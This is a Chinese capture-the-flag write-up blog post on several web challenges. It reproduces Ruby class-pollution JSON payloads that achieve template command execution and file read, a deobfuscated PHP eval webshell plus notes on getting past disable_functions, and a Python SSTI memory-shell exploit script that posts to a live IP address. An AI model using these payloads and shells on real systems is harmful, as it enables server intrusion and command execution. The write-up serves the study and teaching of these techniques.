前言
一觉醒来NISA实力下降一万倍,哈哈两人退役之后我们完蛋了
这b web真是一天比一天难打了,梭哈半天拿不下少解题,其他题回头就被打烂😭
参考:
ezruby(复现)
ruby/3.3.5 webrick/1.9.1
拿 docker 起一下环境
FROM ruby:3.3.5-alpine
WORKDIR /usr/src/app
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories
RUN apk update && apk add --no-cache build-base
COPY Gemfile ./
RUN bundle install
COPY . .
EXPOSE 8888
# 启动应用
CMD ["bundle", "exec", "ruby", "main.rb"]
Gemfile
source "https://gems.ruby-china.com"
gem "sinatra"
gem "json"
gem "net-http"
gem "puma"
gem "rackup"
自己配置一下调试环境
main.rb
# frozen_string_literal: true
require 'json'
require 'sinatra/base'
require 'net/http'
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
set :bind , '0.0.0.0'
set :port , '8888'
post '/merge' do
content_type :json
j_str = request.body.read
return "try try try" if j_str.include?("\\") || j_str.include?("h")
json_input = JSON.parse(j_str, symbolize_names: true)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
get '/sign_with_subclass_key' do
content_type :json
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
get('/') do
erb :hello
end
run! if app_file == $0
end
搜索发现以下文章:
https://book.hacktricks.xyz/cn/pentesting-web/deserialization/ruby-class-pollution
https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
大概的思路是打 ruby 类污染,和原型链污染类似
首先要了解一下 ruby 类
ruby类
ruby 中万物皆对象,对于这个 Person 类
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
类变量(类似 Java 中类的静态变量)使用
@@
前缀,可以跨对象使用实例变量使用
@
前缀,在类内部使用@
进行访问,可以跨任何特定的实例或对象中的方法使用:
前缀表示符号(symbol),在 ruby 中是轻量级、不可变的字符串,通常用于表示标识符、方法名或键
ruby 对象的一些特殊方法:
attr_accessor
:定义实例变量的 getter 和 setter 方法,用于在类外部访问实例变量initialize
:类的构造方法to_s
:toString 方法inspect
:和to_s
差不多,常用于debugmethod_missing
:类似PHP的__call__
方法,当调用一个不存在的方法时会触发respond_to?
:检测对象是否有某个方法或属性send
:根据方法名来调用(包括私有方法)public_send
:根据方法名调用公开方法
ruby 对象的一些特殊属性(类也算对象):
class
:当前对象的类superclass
:父类subclasses
:子类数组instance_variables
:实例变量名的数组class_variables
:类变量名的数组
在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它
类污染
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
这里就是不安全的 merge 操作,current_obj.instance_variable_set
会直接在current_obj
上设置实例变量
也就是说能随意污染任意对象/类的实例变量
污染当前对象
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end
这里的 merge_with 是 Person 类下的方法,试图污染在同一个类下的@@url
可以看到这里用{"class":{"url":"https://c1oudfl0w0.github.io/blog/"}}
成功污染了对象a同一个 Person 类下的 url 属性
污染父类
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
这里 User 类继承了 Person,是 Person 类的子类
这种情况也可以污染父类 Person 的 @@url
变量,但这里实际上是给父类 Person 增加了一个实例变量 @url
,通过 Person.url 访问时,实例变量 @url
覆盖了类变量 @@url
这里使用{"class":{"superclass":{"url":"https://example.com/"}}}
来污染
污染其他类
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
尝试在 User 类污染到 Keysigner 类的 signing_key
前面提过,ruby 中所有类都是直接或间接继承 BasicObject 类的,而这里创建的类都是继承 BasicObject 下的 Object 类
那么可以先用superclass
获取父类 Object,然后再用subclasses
获取 Object 下的 Keysigner,从而实现污染 signing_key
注意 subclasses 返回的是一个数组,需要使用指定的下标访问
那么问题就来了,json 格式下是没有数组下标这一说的
Array.sample()
:从 Array 实例的元素中选择一个随机对象
所以我们可以使用 subclasses.sample
来获取任意类
如果想要污染特定的类的话就需要爆破,通过多次污染,总有几率污染到Keysigner
这个子类
payload:
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}
Sinatra下的类污染
回到题目
开头这个# frozen_string_literal: true
会冻结所有字符串字面量
观察一下和 Doyensec 的文章不一样改动的地方
return "try try try" if j_str.include?("\\") || j_str.include?("h")
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
那么就是ban了反斜杠和h
,同时 curl 无回显
调试发现,JSON.parse
这里可以正确解析 unicode 编码,不过\
被 ban 了也用不了
思路是在 JSONMergerApp 里找一个能污染的属性来实现类似于 静态文件读取 或者 getshell
写erb模板
下断点调试,我们的目标放在 JSONMergerApp 类上
JSONMergerApp 类下有 templates 属性,猜测是存放模板的,跟进到父类 Sinatra::Base 看下源码
到 template 这里,跟进 compile_template
这里会获取 settings.templates 的 body,即要渲染的代码,如果存在则直接渲染
可以看到这里的 settings 是一个 JSONMergerApp 对象,而 data 的值是 hello,但是 settings.templates 是空哈希
尝试直接给它赋值:
此时发现页面回显变成 aaa 了,说明需要控制的就是这个 templates
同理可以命令执行
JSONMergerApp.set :templates,{"hello":"<%= `ls` %>"}
那么这里就可以尝试污染 hello 模板
payload:
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ls` %>"}}}}}}}
但是原题中过滤了 h
和 \
,测了一下绕不过去 :(
设置静态目录
在 Sinatra 中使用如下配置来设置静态目录
set :public_folder, File.dirname(__FILE__) + '/static'
对应源码中的操作:
默认的静态目录是 public,其目录下的静态资源直接访问其文件名即可获取
调试一下这里的 set,发现就是它来设置属性
class_eval 可以给类动态定义方法
那么我们可以直接改变 JSONMergerApp.public_folder 的值
此时就能访问根目录下的任意文件了
尝试污染 public_folder
注意这里要污染的是 JSONMergerApp,是 Sinatra::Base 的子类,Sinatra::Base 是 Object 的子类,所以这里得嵌套两层 subclasses
payload:
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"subclasses": {"sample":{"public_folder": "/"}}}}}}}}
期间因为随机类覆盖会有大量报错,无需在意
最后可以发现
成功覆盖
直接访问 /flag 即可读取静态文件
helloweb(复现)
GET /index.php?file=hello.php HTTP/1.1
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2024 02:10:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
tip: include.php
Content-Length: 2470
<!-- ../hackme.php -->
<!-- ../tips.php -->
<div class="relocating">
Navigating to: <span class="relocate-location"></span>...
</div>
tip解码出来是 include.php,但是访问不到这个文件
index.php,hello.php,hackme.php,tips.php 均在同一文件夹下,但是上面的 hint 里是../
,而我们输入的 ../hackme.php 实际上访问的也是 hackme.php
结合 Navigating ,猜测替换了../
为空,有双写绕过,尝试..././hackme.php
能读到
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
$YwzIst 是 base64_decode,decode后的内容:
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
复制到本地一步步 echo 分析出来
那么shell就是:
<?php @eval($_POST['cmd_66.99']); ?>
蚁剑连上去,注意密码参数这里是cmd[66.99
index.php
<!-- ../hackme.php -->
<!-- ../tips.php -->
<?php
if(!isset($_GET['file']))
{
header('Location: ./index.php?file=hello.php');
exit();
}
@$file = $_GET["file"];
if (isset($_GET['file']))
{
$file = str_replace('../', '', $_GET['file']);
if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file) >= 14)
{
echo "<h1>NAIVE!!!</h1>";
} else
{
echo "<div style='text-align: center;'>";
echo "</div>";
include($file);
}
}
?>
尝试拿蚁剑插件打disable_function能写,但是连 .antproxy.php 上不去,不知道为什么
结束后试了一下直接在 /tmp 写马 index.php,然后 fpm 起 phpserver 开在 /tmp 下,密码填 /tmp/index.php 的即可绕过 disable_function 且正常连接
接下来找flag,本来以为要提权的,找了半天没提权点
find / -type f -name "flag" 2>/dev/null
找到了神人flag路径
safeproxy
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
一眼打ssti,ban 了响应头
打内存马在响应体里就行
import fenjing
import logging
import requests
logging.basicConfig(level=logging.INFO)
payload = """
[
app.view_functions
for app in [ __import__('sys').modules["__main__"].app ]
for request in [ __import__('sys').modules["__main__"].request ]
if [
app.__dict__.update({'_got_first_request':False}),
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)
]
]
"""
def waf(s):
blacklist = [
'\\' , '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'
]
return all(word not in s for word in blacklist)
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)
r = requests.post(
"http://47.93.212.188:32936",
data={"code": payload},
cookies={
})
print(r.text)
sxweb1(Unsolved)
Apache/2.4.58
直接访问 publishers.php,返回more lines returned. maybe SQL injection Attack
easyweb(Unsolved)
进去403,开扫
有一个上传文件的接口和一个下载文件的接口
下载文件限制后缀为 .txt 和 .zip
上传文件限制后缀为图片且无回显路径
sxweb2(Unsolved)
看起来像是 1 的进阶版,实际上 1 还是0解
进去发现路径直接在 /cgi-bin/index.py 了
单独访问 /cgi-bin/ 得到
/
html/
index.html
apache.jpg
db/
pubs.db
cgi-bin/
local/
flag.py
index.cgi
authors.py
index.py
wget.py
update_authorsform.py
updateauthor.py
但是直接访问 /cgi-bin/local/flag.py 会返回403
尝试通过 wget.py 访问 127.0.0.1/cgi-bin/local/flag.py ,返回 Notice: local access is not allowed
/bin/authors.py
/cgi-bin/update_authorsform.py
/cgi-bin/updateauthor.py